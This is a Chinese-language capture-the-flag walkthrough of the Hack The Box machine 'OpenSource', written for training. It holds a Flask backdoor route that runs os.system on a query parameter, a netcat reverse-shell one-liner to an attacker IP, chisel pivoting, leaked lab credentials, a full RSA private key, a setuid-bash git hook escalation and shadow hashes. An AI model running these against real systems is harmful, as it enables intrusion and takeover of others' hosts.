HTB靶机:OpenSource

靶机信息

image-20220604104945495

一:信息收集🤨🤨🤨🤨

还是咱们第一步,使用nmap对靶机进行信息收集

nmap -sC -sV  10.10.11.146 -o nmap

image-20220604110945098

当我们使用以下命令时会发现一个被过滤的3000端口

nmap -A -sS -Pn 10.10.11.164 

image-20220604111426912

查看网站,发现网站提供代码下载和文件上传两个有用的功能点

image-20220604111657551

我们将代码下载下来和对上传页面进行测试,发现该网站可能在一个docker容器,上传可以上传任意,但是不支持直接上传文件getshell,只是提供上传和下载刚刚上传的文件(ps:这个功能为后面docker逃逸方便不少,至少不用在本地开http服务了😛😛😛)

二:获得立足点😎😎😎😎

我们对下载的代码进行审计:

image-20220604113256389

发现本地测试后发现漏洞点,这个漏洞利用姿势很需要思路,views.py存在一个上传功能,会调用get_file_name进行过滤把文件名中的 ../ 替换为空,然后通过os.path.join拼接过滤后的文件名,获得最终保存路径,这里可以尝试使用绝对路径覆盖文件,例如views.py,在其中添加用于命令执行的后门路由

image-20220604144116520

这个我们可以通过使用burp抓包修改上传的绝对路径,来达到去修改网站代码的功能,我们这里使用大佬的方法,上传修改的views.py去增加一个后门

如下是原始的views.py:

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

我们增加一条用于命令执行的后门路由:

image-20220604144551692

增加后门的views.py

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/exec')
def cmd():
return os.system(request.args.get('cmd'))

然后上传抓包:

image-20220604145153132

之后我们执行命令:(这里最好进行url编码)

http://10.10.11.164/exec?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444 >/tmp/f

本地监听

nc -nvlp 4444

image-20220604145727338

image-20220604145754081

发现存在两个网卡,证实之前判断这个网站是在容器中

image-20220604145852674

结合上面被过滤掉的3000端口,我们这里尝试通过流量转发,来通过docker去访问本机3000跑的服务,

之前哪个上传功能。我们可以上传我们的流量转发:chisel(不熟悉的看我之前的,这个内网转发工具很好用)

image-20220604150543174

我们将chisel保存到一个新目录中,因为这个docker定时会清除上传的文件,

接下来我们使用chisel进行内网转发

#我们的kali
./chisel server -p 8000 --reverse
#目标机器
chmod +x chisel
./chisel client 10.10.14.25:8000 R:socks

image-20220604151322328

然后配置本地的socks代理:

image-20220604151552820

然后就能访问到目标本机的3000端口:

image-20220604151757694

发现是一个gitea,这个类似github,这里存在注册和登录两个选项,经过信息收集和暴力测试后,发现没有收获,这里突然想到这个类似github,可能存在git泄露,说不定有测试时开发的账号密码。

因此我们回到刚开始我们下载的那堆源码上,果然发现登录的账号密码

git show-branch
git log dev --online
git show a76f8f7

image-20220604152412305

image-20220604152505670

#账号:dev01
#密码:Soulless_Developer#2022

登录后发现ssh私钥:

image-20220604152827137

id_rsa私钥
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

image-20220604152902015

将id_rsa下载到本地,猜测可以尝试拿私钥去登录目标主机,用户名猜测为:dev01.

成功登录!!!!

chmod 500 id_rsa #给权限
ssh -i id_rsa dev01@10.10.11.164

image-20220604153144337

提权🤩🤩🤩🤩🤗

还是老套路了,使用pspy64看进程,跑linpeas.

这里我们上传pspy64看到目标机器定时会使用root权限去调用git去提交,我们可以通过git hook来运行任意命令。

image-20220604153934388

修改一个可能被调用到的git钩子,添加命令,等待触发。

#给pre-commit里添加
chmod u+s /bin/bash

image-20220604154403596

image-20230321131852556

image-20220604155235333

image-20220604155444771

root:$65sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7:::
dev01:$6$KxPkBXel$7cqEmnerc0RmIaUGVdGLXlbC61.2x5bY0DLC/j2VDHG3mAaqeWFfQiuHOXmQss91XNn0FybSdfl51vFfKuwRh/:19073:0:99999:7:::

总结🥰🥰

这台靶机官方定义很简单,可是考的知识点很多.如果感兴趣,可以和我进行交流一下!!!@§( ̄▽ ̄)§§( ̄▽ ̄)§§( ̄▽ ̄

image-20220603211549302